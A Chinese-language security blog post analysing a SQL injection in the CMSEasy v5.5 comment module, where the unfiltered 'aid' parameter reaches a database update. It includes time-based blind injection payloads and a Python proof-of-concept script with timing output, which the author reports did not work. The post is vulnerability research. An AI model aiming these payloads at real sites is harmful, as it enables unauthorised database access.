0x00 写在前面
最近忙着练习写各种PoC 看了好多wooyun镜像里的通用型CMS漏洞 发现cmseasy被x的体无完肤… 我又把 v5.5 看了一遍 于是吃屎 :)
0x01 Function
lib/inc/table.php
这个文件里包含了基本所有与数据库操作有关的函数
问题函数:
function condition(&$condition) { if (isset($condition) &&is_array($condition)) { $_condition=array(); foreach ($condition as $key=>$value) { $value=str_replace("'","\'",$value); $_condition[]="`$key`='$value'"; } $condition=implode(' and ',$_condition); } else if (is_numeric($condition)) { $this->getFields(); $condition="`$this->primary_key`='$condition'"; }else if(true === $condition){ //问题的所在 $condition = 'true'; } ... ... ... }
|
面向整个CMS 进行全局搜索 condition()
这个函数 发现lib/default/comment_act.php
中add_action()
存在问题 这个函数主要功能是写评论
function add_action() { if(front::post('submit') &&front::post('aid')) { if(config::get('verifycode')) { if(front::post('verify')<>session::get('verify')) { alertinfo('验证码错误。', front::$from); //front::redirect(front::$from); } } if(!front::post('username')) { /*front::flash(lang('请留下你的名字!')); front::redirect(front::$from);*/ alertinfo('请留下你的名字!', front::$from); } if(!front::post('content')) { /*front::flash(lang('请填写评论内容!')); front::redirect(front::$from);*/ alertinfo('请填写评论内容!', front::$from); } $this->manage->filter(); $comment=new comment(); $archive=new archive(); front::$post['state'] = '0'; front::$post['adddate']=date('Y-m-d H:i:s'); $comment->rec_insert(front::$post); //echo front::post('aid'); $archive->rec_update('comment=comment+1',front::post('aid')); //front::flash(lang('提交成功!')); alertinfo('评论提交成功。', front::$from); //front::redirect(front::$from); }else { front::flash(lang('提交失败!')); front::redirect(front::$from); } }
|
- 验证码这个东西是摆设嘛…??
front::post('aid')
完全没有过滤
- 集中看lib/inc/table.php下的
rec_update() -> query_unbuffered() -> query()
正面x 无阻碍
0x02 吃屎的利用
- case=* 绑定的是
lib/default/
目录下的模块文件 例如*_act.php
- act=* 绑定的是该文件里的功能函数 例如
*_action()
- submit,username,content,aid 直接post传入
aid
完全无过滤
aid=1 and if(1=1,SLEEP(5),1) aid=1 and if(1=2,SLEEP(5),1) ↓↓↓↓↓↓↓
|
是不是感觉这语句简直完美 然而并没有延迟 语句出错?? ↓↓↓↓↓↓↓↓↓↓↓↓↓↓
完全没问题啊 写进去了啊! ↓↓↓↓↓↓↓↓↓↓↓↓↓↓
写个脚本跑一哈? ↓↓↓↓↓↓↓↓↓↓↓↓↓↓
import urllib2 import urllib import time
def verify(): url = "http://localhost/uploads/index.php?case=comment&act=add" post_data1 = { 'submit': 1, 'username': '1111', 'content': 'test', 'aid': '1 and if(1=1,BENCHMARK(10000000,md5(1)),null)' } post_data2 = { 'submit': 1, 'username': '1111', 'content': 'test', 'aid': '1 and if(1=2,BENCHMARK(10000000,md5(1)),null)' } start_time = time.time() req = urllib2.Request(url, data=urllib.urlencode(post_data1)) urllib2.urlopen(req) end_time_1 = time.time()
req2 = urllib2.Request(url, data=urllib.urlencode(post_data2)) urllib2.urlopen(req2) end_time_2 = time.time()
print 'delta_time1: ',(end_time_1 - start_time) print 'delta_time2: ',(end_time_2 - end_time_1) if __name__ == '__main__': verify() -------------------------------------------------------------------- delta_time1: 0.180356025696 delta_time2: 0.471837997437
|
说好的时间差呢?? QAQ
0x03 reason of 吃屎
$archive->rec_update('comment=comment+1',front::post('aid'));
|
通过我对这个CMS的解读…貌似是压根就没有comment
这个字段
就连官网最新版本5.6 也是这个问题 so…这是开发人员的傲娇么 写了个压根就不存在的字段的功能??当然也许是我理解错了 如果有表哥路过 请指教一下 感激不尽
虽然吃屎了 但还是根据另一个延迟注入 写了PoC 是cmseasy投票模块的 与这个情况一致
0x04 最后
说到底 还是因为太菜了 期末了要写很多实验报告 14号又要去实训了
这应该是今年最后一篇博客了
惊天动地 循环了好久 不开心(
那么 明年再见吧 提前祝你们新年快乐